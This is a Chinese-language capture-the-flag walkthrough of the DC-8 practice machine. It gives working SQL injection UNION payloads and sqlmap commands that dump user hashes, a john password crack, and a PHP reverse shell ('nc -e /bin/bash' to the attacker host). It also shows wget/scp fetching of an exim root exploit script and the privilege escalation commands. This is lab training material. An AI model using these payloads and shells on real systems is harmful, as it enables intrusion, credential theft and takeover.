仅供个人娱乐
靶机信息
下载地址:http://www.five86.com/downloads/DC-8.zip
一、主机扫描

二、信息收集

http://192.168.17.135/robots.txt


三、漏洞的查找和利用
在前面点击Details的几个链接,然后发现url里有个nid参数,尝试检测注入



数值型


数据库
http://192.168.17.135/?nid=-1%20union%20select%20database()--+

爆破表
http://192.168.17.135/?nid=-1%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27d7db%27--+

字段
http://192.168.17.135/?nid=-1%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27d7db%27%20and%20table_name=%27users%27--+

爆破内容
http://192.168.17.135/?nid=-1 union select group_concat(name) from users--+
http://192.168.17.135/?nid=-1 union select group_concat(pass) from users--+


两个hash,md5无法解密

或者sqlmap

sqlmap --url http://192.168.17.135/?nid=1 --dbs
sqlmap --url http://192.168.17.135/?nid=1 -D d7db --tables

sqlmap --url "http://192.168.17.135/?nid=1" -D d7db -T users --columns
sqlmap --url "http://192.168.17.135/?nid=1" -D d7db -T users -C name,pass --dump

复制1.txt 用john破解

破解出了john的密码,密码为turtle
登录后台信息收集

没有路径 直接反弹


再次反弹
<p>1313</p>
<?php system("nc -e /bin/bash 192.168.17.129 4444"); echo "hello word"?>


python -c 'import pty;pty.spawn("/bin/bash")'

信息收集

find / -perm -u=s -type f2>/dev/null

都拿去百度了,发现exim命令在使用时具有root权限,并且还看到一些有关于他的提权漏洞,那么在kali里面直接使用它对应版本的exp提权。

1.apache 上传
/etc/init.d/apache2 start
wget http://192.168.17.129:8080/2.sh 失败了没搞定

2.ssh 上传
修改ssh文件


ssh启动
开启:/etc/init.d/ssh start
重启:/etc/init.d/ssh restart
关闭:/etc/init.d/ssh stop
状态:/etc/init.d/ssh status

scp root@192.168.17.129:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/

3.简易http
python -m SimpleHTTPServer
wget http://192.168.17.129:8000/getShell.sh

文件移动到tmp
chmod 777 getShell.sh
根据脚本提示,执行脚本文件并添加命令参数,执行后获取到root权限,并找到flag.txt文件
./getShell.sh -m netcat

解决方法

sed -i "s/\r//" getShell.sh
./getShell.sh -m netcat

